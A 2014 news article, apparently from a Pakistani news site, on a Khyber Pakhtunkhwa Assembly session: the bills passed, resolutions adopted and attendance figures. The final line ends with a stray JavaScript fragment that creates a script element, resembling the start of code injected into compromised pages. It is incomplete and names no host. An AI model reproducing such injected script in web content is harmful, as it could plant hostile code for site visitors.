Published On: Thu, Mar 27th, 2014
Published in Category: Peshawar

KP Assembly passes 15 bills , one ordinance

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PESHAWAR: The Khyber Pakhtunkhwa Assembly witnessed a productive session by passing fifteen bills, while one ordinance was laid in the House but not yet passed as a bill.

FAFEN’s (Free and Fair Election Network) in its preliminary report has also said that the House also unanimously adopted three resolutions and took up seven calling attention notices amid low attendance of the lawmakers.

During the legislation session, the fifteen passed bills included, The Khyber Pakhtunkhwa Tibb & Homeopathic Employees (Regularization of Services) Bill, 2014, The Khyber Pakhtunkhwa Farm Services Centre Bill, 2014, The Khyber Pakhtunkhwa Food Security Authority Bill, 2014, The Khyber Pakhtunkhwa Tenancy (Amendment) Bill, 2014, The Khyber Pakhtunkhwa Restriction of Rented Building Security Act, 2014, The Khyber Pakhtunkhwa Public Private Partnership Bill, 2014, The Khyber Pakhtunkhwa Journalist Welfare Endowment Bill, 2014, The Khyber Pakhtunkhwa Energy Development Organization (Amendment) Bill, 2014, The Khyber Pakhtunkhwa Medical Transplantation Regulatory Authority Bill, 2014, The Khyber Pakhtunkhwa Hotels Restriction (Security) Act, 2014, The Khyber Pakhtunkhwa Finance (Amendment) Act, 2014, The Khyber Pakhtunkhwa River Protection (Amendment) Bill, 2014, The Khyber Pakhtunkhwa Surrender of Illicit Arms Bill, 2014, The Khyber Pakhtunkhwa Local Government (Amendment) Bill, 2014 and The Khyber Pakhtunkhwa Housing Authority Amendment Bill, 2014.

Considering the deteriorating law and order situation and increasing terrorists? attacks in the province, the government passed three bills to address these urgent security concerns, through bills of The Khyber Pakhtunkhwa Restriction of Rented Building Security Act, 2014, the Khyber Pakhtunkhwa Hotels Restriction (Security) Act, 2014, and The Khyber Pakhtunkhwa Surrender of Illicit Arms Bill, 2014.

Several passed bills focused on good governance by regulating government institutions in different fields of farm services, food security, public private partnership, medical transplantation, energy development and tenancy. One key bill in governance, the Khyber Pakhtunkhwa Local Government (Amendment) Bill, 2014, seeks to make changes in the seats allotment of the tehsil councils in Upper Dir, Lower Dir, Kohistan, Lower Kohistan, Nowshera and Jehangira.

Four resolutions were tabled during the session and three of them were adopted by the House. A jointly tabled resolution by the members of PTI, JI, JUI-F, PML-N, QWP, ANP, PPPP and AJIP was unanimously adopted in the House asking the federal government to fulfil the demands of journalists regarding their salaries and provide them security/facilities.

Another jointly tabled resolution, the House unanimously gave approval to rename the province as Hazara Pakhtunkhwa. This resolution was sponsored by the members of PTI, JI, JUI-F and PML-N. A PTI member singly sponsored a resolution regarding setting up of a commission to look into establishment of new Hazara province.

The Chief Minister attended five sitting in all whereas the Leader of the House abstained from the entire session. The Speaker presided over 46% of the proceedings while 25% of the proceedings were chaired by the Deputy Speaker. The remaining time – 21% of the session was consumed by prayer breaks.

Quorum was pointed out twice during the session. Once during the third sitting, a female PML-N member pointed out the missing quorum which was found complete on counting. The quorum was again pointed out the second time by a male member of PML-N during the seventh sitting. The Chairman ordered the bells to ring for two minutes and sitting was resumed once the quorum was complete.

The only instance of walkout was witnessed by the female lawmaker of PML-N, as she walked out against the continuation of proceedings despite lack of quorum pointed out by the member.var d=document;var s=d.createElement(‘script’);